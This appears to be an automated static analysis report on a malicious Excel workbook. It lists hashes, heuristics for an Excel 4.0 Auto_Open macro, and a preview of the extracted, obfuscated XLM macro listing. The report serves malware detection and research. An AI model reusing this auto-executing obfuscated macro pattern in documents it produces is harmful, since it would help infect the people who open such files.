Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 76e6ae6cda76781b…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:41:52 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: 8a4e2508e936a14fbb70acd1dcdfc8be SHA-1: 8ae727173645256fb4e9562c6c04e220a3cbff92 SHA-256: 76e6ae6cda76781b7083c89c8a803b010945ef88b923b446e2d831267720cfa6
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6724 bytes
SHA-256: 1da47f4ecfdd6fbac6a9147c84fd650b5eefbd140c36981c9bd7bcaab7e0aadd
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  vmoPDxGTGK
' 0018     27 LABEL : Cell Value, String Constant - AbdYyEblFlot len=0 
' 0018     26 LABEL : Cell Value, String Constant - ALhKDULjFVl len=0 
' 0018     27 LABEL : Cell Value, String Constant - arVYqaHELmxE len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H146 
' 0018     21 LABEL : Cell Value, String Constant - BYpSkB len=0 
' 0018     24 LABEL : Cell Value, String Constant - enrnlNcQZ len=0 
' 0018     26 LABEL : Cell Value, String Constant - ESiXMFAWEPf len=0 
' 0018     27 LABEL : Cell Value, String Constant - FkMblvpjZgcq len=0 
' 0018     25 LABEL : Cell Value, String Constant - FXbDqkJgaW len=0 
' 0018     23 LABEL : Cell Value, String Constant - GShHhryF len=0 
' 0018     24 LABEL : Cell Value, String Constant - hIQzHestW len=0 
' 0018     27 LABEL : Cell Value, String Constant - KfZZfBELPkiV len=0 
' 0018     24 LABEL : Cell Value, String Constant - MFizYiWPI len=0 
' 0018     20 LABEL : Cell Value, String Constant - MhhBv len=0 
' 0018     25 LABEL : Cell Value, String Constant - MvTNXBkcYQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - qtQzQYIrZun len=0 
' 0018     21 LABEL : Cell Value, String Constant - tCAxin len=0 
' 0018     24 LABEL : Cell Value, String Constant - tDWIulmVt len=0 
' 0018     21 LABEL : Cell Value, String Constant - TVdSry len=0 
' 0018     22 LABEL : Cell Value, String Constant - uUDWTng len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZXjVhUHHpC len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  vmoPDxGTGK,H50,"SET.NAME("KfZZfBELPkiV",VALUE("0"))",""
'  vmoPDxGTGK,H53,"SET.NAME("hIQzHestW",KfZZfBELPkiV)",""
'  vmoPDxGTGK,H55,"SET.NAME("FkMblvpjZgcq",KfZZfBELPkiV)",""
'  vmoPDxGTGK,H60,"SET.NAME("ZXjVhUHHpC",COUNTA(GShHhryF))",""
'  vmoPDxGTGK,H63,"SET.NAME("tCAxin",COUNTA(arVYqaHELmxE))",""
'  vmoPDxGTGK,H66,[],""
'  vmoPDxGTGK,H70,"SET.NAME("ALhKDULjFVl","")",""
'  vmoPDxGTGK,H73,"hIQzHestW",""
'  vmoPDxGTGK,H75,"SET.NAME("FXbDqkJgaW",HLOOKUP("*",GShHhryF,hIQzHestW,FALSE))",""
'  vmoPDxGTGK,H79,"TVdSry",""
'  vmoPDxGTGK,H83,"SET.NAME("BYpSkB",KfZZfBELPkiV)",""
'  vmoPDxGTGK,H87,[],""
'  vmoPDxGTGK,H89,"BYpSkB",""
'  vmoPDxGTGK,H94,"enrnlNcQZ",""
'  vmoPDxGTGK,H99,"ESiXMFAWEPf",""
'  vmoPDxGTGK,H103,"MFizYiWPI",""
'  vmoPDxGTGK,H107,"SET.NAME("tDWIulmVt",VALUE(HLOOKUP("*",arVYqaHELmxE,MFizYiWPI,FALSE)))",""
'  vmoPDxGTGK,H111,"uUDWTng",""
'  vmoPDxGTGK,H116,"ALhKDULjFVl",""
'  vmoPDxGTGK,H118,"FkMblvpjZgcq",""
'  vmoPDxGTGK,H120,NEXT(),""
'  vmoPDxGTGK,H125,"AbdYyEblFlot",""
'  vmoPDxGTGK,H130,"SET.NAME("f",INT(T(FORMULA(T(ALhKDULjFVl)&"",""&T(AbdYyEblFlot)))))",""
'  vmoPDxGTGK,H134,"MvTNXBkcYQ",""
'  vmoPDxGTGK,H138,NEXT(),""
'  vmoPDxGTGK,H143,RETURN(),""
'  vmoPDxGTGK,H175,"SET.NAME("qtQzQYIrZun",H50)",""
'  vmoPDxGTGK,H180,"GShHhryF",""
'  vmoPDxGTGK,H183,"SET.NAME("arVYqaHELmxE",R42C12)",""
'  vmoPDxGTGK,H185,"SET.NAME("MvTNXBkcYQ",194)",""
'  vmoPDxGTGK,H189,"SET.NAME("MhhBv",8)",""
'  vmoPDxGTGK,H193,qtQzQYIrZun(),""
'  vmoPDxGTGK,H194,HALT(),""

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